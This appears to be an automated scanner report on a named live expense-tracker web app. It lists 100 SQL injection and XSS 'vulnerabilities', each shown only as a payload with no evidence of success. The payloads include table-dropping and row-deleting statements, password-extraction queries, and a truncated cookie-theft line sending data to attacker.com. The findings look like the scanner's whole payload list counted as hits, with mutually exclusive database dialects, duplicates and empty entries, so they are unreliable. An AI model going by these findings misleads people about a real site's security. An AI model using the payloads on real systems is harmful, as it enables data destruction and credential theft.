

Security Assessment Report

Executive Summary

Assessment completed on 2026-07-21 21:47:49

Total Vulnerabilities Found: 100

Reconnaissance Results

Status Code: 200

Page Title: Smart Expense Tracker - Personal Finance Dashboard

URLs Found: 3

1. <https://smart-expense-frontend-zeta.vercel.app/assets/index-Cx04J82-.js>
2. <https://smart-expense-frontend-zeta.vercel.app/assets/index-DDTRVbX4.css>
3. <https://api.dicebear.com/7.x/adventurer/svg?seed=SmartExpense>

Technologies Detected: React

Sql Injection

Vulnerabilities Found: 88

1. **SQL Injection** - boolean_basic

Payload: ' OR '1'='1

2. **SQL Injection** - boolean_basic

Payload: ' OR 1=1--

3. **SQL Injection** - boolean_basic

Payload: ' OR 1=1#

4. **SQL Injection** - boolean_basic

Payload: ' OR 1=1/*

5. **SQL Injection** - boolean_basic

Payload: admin' --

6. **SQL Injection** - boolean_basic

Payload: admin' #

7. **SQL Injection** - boolean_basic

Payload: ' OR 'a'='a

8. **SQL Injection** - boolean_basic

Payload: ') OR ('1'='1

9. **SQL Injection** - boolean_basic

Payload: " OR "1"="1

10. **SQL Injection** - boolean_basic

Payload: " OR 1=1--

11. **SQL Injection** - time_based

Payload: ' AND SLEEP(5)--

12. **SQL Injection** - time_based

Payload: ' AND SLEEP(5)#

13. **SQL Injection** - time_based

Payload: ' AND BENCHMARK(5000000,MD5('A'))--

14. **SQL Injection** - time_based

Payload: ' AND pg_sleep(5)--

15. **SQL Injection** - time_based

Payload: ' WAITFOR DELAY '00:00:05'--

16. **SQL Injection** - time_based

Payload: '; WAITFOR DELAY '00:00:05'--

17. **SQL Injection** - time_based

Payload: ' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

18. **SQL Injection** - time_based

Payload: ' AND IF(1=1,SLEEP(5),0)--

19. **SQL Injection** - error_based

Payload: ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

20. **SQL Injection** - error_based

Payload: ' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--

21. **SQL Injection** - error_based

Payload: ' AND 1=CAST((SELECT 1) AS int)--

22. **SQL Injection** - error_based

Payload: ' AND 1=CONVERT(int,(SELECT @@version))--

23. **SQL Injection** - error_based

Payload: ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT @@version)),0x7e,FLOOR(RAND(0)*2))x GROUP

24. **SQL Injection** - error_based

Payload: ' OR 1=1 AND (SELECT 1 FROM (SELECT(COUNT(*)),CONCAT((SELECT @@version)),0x7e,FLOOR(RAND(0)*2))x GRO

25. **SQL Injection** - union_based

Payload: ' UNION SELECT NULL--

26. **SQL Injection** - union_based

Payload: ' UNION SELECT NULL,NULL--

27. **SQL Injection** - union_based

Payload: ' UNION SELECT NULL,NULL,NULL--

28. **SQL Injection** - union_based

Payload: ' UNION SELECT NULL,NULL,NULL,NULL--

29. **SQL Injection** - union_based

Payload: ' UNION SELECT @@version,NULL--

30. **SQL Injection** - union_based
Payload: ' UNION SELECT user(),version())--

31. **SQL Injection** - union_based
Payload: ' UNION SELECT table_name,column_name FROM information_schema.columns--

32. **SQL Injection** - union_based
Payload: ' UNION ALL SELECT NULL,NULL,NULL,@@version--

33. **SQL Injection** - stacked_queries
Payload: '; DROP TABLE users--

34. **SQL Injection** - stacked_queries
Payload: '; DELETE FROM users--

35. **SQL Injection** - stacked_queries
Payload: '; UPDATE users SET admin=1--

36. **SQL Injection** - stacked_queries
Payload: '; INSERT INTO users VALUES('hacker','password')--

37. **SQL Injection** - stacked_queries
Payload: 1; EXEC sp_executesql--

38. **SQL Injection** - stacked_queries
Payload: 1'; EXEC master.dbo.sp_executesql--

39. **SQL Injection** - second_order
Payload: admin' OR '1'='1

40. **SQL Injection** - second_order
Payload: ' OR '1'='1' /*

41. **SQL Injection** - second_order
Payload: ' UNION SELECT user(),version() /*

42. **SQL Injection** - comment_based
Payload: ' OR 1=1--

43. **SQL Injection** - comment_based
Payload: ' OR 1=1#

44. **SQL Injection** - comment_based
Payload: ' OR 1=1/*

45. **SQL Injection** - comment_based
Payload: ' OR 1=1;%00

46. **SQL Injection** - comment_based
Payload: ' OR 1=1 AND '1'='1

47. **SQL Injection** - alternative_syntax
Payload: 1' AND '1'='1

48. **SQL Injection** - alternative_syntax
Payload: 1' AND 1=1--

49. **SQL Injection** - alternative_syntax
Payload: 1' UNION SELECT NULL--

50. **SQL Injection** - alternative_syntax
Payload: 1 AND 1=1--

51. **SQL Injection** - alternative_syntax
Payload: 1 AND (SELECT COUNT(*) FROM information_schema.tables)>0--

52. **SQL Injection** - encoding
Payload: ' OR '1'='1' /*

53. **SQL Injection** - encoding
Payload: %27 OR %271%27=%271

54. **SQL Injection** - encoding
Payload: %27 OR 1=1 --

55. **SQL Injection** - encoding
Payload: \' OR \'1\'=\'1

56. **SQL Injection** - mysql_specific
Payload: ' OR 1=1 LIMIT 1--

57. **SQL Injection** - mysql_specific
Payload: ' ORDER BY 1--

58. **SQL Injection** - mysql_specific
Payload: ' ORDER BY 1,2--

59. **SQL Injection** - mysql_specific
Payload: ' GROUP BY 1--

60. **SQL Injection** - mysql_specific
Payload: ' HAVING 1=1--

61. **SQL Injection** - mysql_specific
Payload: ' AND (SELECT COUNT(*) FROM information_schema.tables)>0--

62. **SQL Injection** - mysql_specific
Payload: ' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

63. **SQL Injection** - postgresql_specific
Payload: ' OR 1=1--

64. **SQL Injection** - postgresql_specific
Payload: '; SELECT version()--

65. **SQL Injection** - postgresql_specific
Payload: ' AND pg_sleep(5)--

66. **SQL Injection** - postgresql_specific
Payload: ' UNION SELECT version(),NULL--

67. **SQL Injection** - mssql_specific
Payload: ' OR 1=1--

68. **SQL Injection** - mssql_specific
Payload: ' WAITFOR DELAY '00:00:05'--

69. **SQL Injection** - mssql_specific
Payload: ' AND (SELECT @@version)--

70. **SQL Injection** - mssql_specific
Payload: ' UNION SELECT @@version--

71. **SQL Injection** - oracle_specific
Payload: ' OR '1'='1

72. **SQL Injection** - oracle_specific
Payload: ' OR 1=1--

73. **SQL Injection** - oracle_specific
Payload: ' UNION SELECT NULL FROM dual--

74. **SQL Injection** - oracle_specific
Payload: ' AND 1=1--

75. **SQL Injection** - sqlite_specific
Payload: ' OR 1=1--

76. **SQL Injection** - sqlite_specific
Payload: ' UNION SELECT sqlite_version()--

77. **SQL Injection** - sqlite_specific
Payload: ' AND (SELECT COUNT(*) FROM sqlite_master)>0--

78. **SQL Injection** - advanced_blind
Payload: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

79. **SQL Injection** - advanced_blind
Payload: ' AND (SELECT LENGTH(password) FROM users LIMIT 1)>5--

80. **SQL Injection** - advanced_blind
Payload: ' AND (SELECT COUNT(*) FROM users)>0--

81. **SQL Injection** - advanced_blind
Payload: ' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--

82. **SQL Injection** - nosql
Payload: ' OR '1'=1

83. **SQL Injection** - nosql
Payload: ' OR '1'=1

84. **SQL Injection** - nosql
Payload: {'\$ne':null}

85. **SQL Injection** - nosql
Payload: {'\$ne':''}

86. **SQL Injection** - orm_bypass
Payload: 1' OR '1'=1

87. **SQL Injection** - orm_bypass
Payload: 1'; DROP TABLE users; --

88. **SQL Injection** - orm_bypass
Payload: ' UNION SELECT * FROM users--

Xss

Vulnerabilities Found: 12

1. **XSS** - script_injection
Payload: <script>alert('XSS')</script>
2. **XSS** - event_handler

Payload:

3. **XSS** - attribute_break

Payload: " onmouseover="alert('XSS')"

4. **XSS** - protocol_handler

Payload: Click

5. **XSS** - encoding_bypass

Payload: <img src=x onerror=eval(atob('YWxlcuQoJ1hTUycpOw==

6. **XSS** - dom_theft

Payload: <img src=x onerror="fetch('http://attacker.com?coo

7. **XSS** - case_variation

Payload: <ScRiPt>alert('XSS')</sCrIpT>

8. **XSS** - whitespace_bypass

Payload: <script >alert('XSS')</script>

9. **XSS** - comment_bypass

Payload: <!-->

10. **XSS** - svg_vector

Payload: <svg onload=alert('XSS')>

11. **XSS** - polyglot

Payload: ""><script>alert('XSS')</script>

12. **XSS** - null_byte

Payload: <img%00 src=x onerror=alert('XSS')>

Recommendations

1. Address all identified vulnerabilities in order of severity
2. Implement input validation and output encoding
3. Use parameterized queries to prevent SQL injection
4. Implement Content Security Policy (CSP) headers
5. Implement CSRF tokens on all state-changing requests
6. Enforce strong authentication mechanisms
7. Conduct regular security audits and penetration testing

Report Generated: 2026-07-21 21:47:49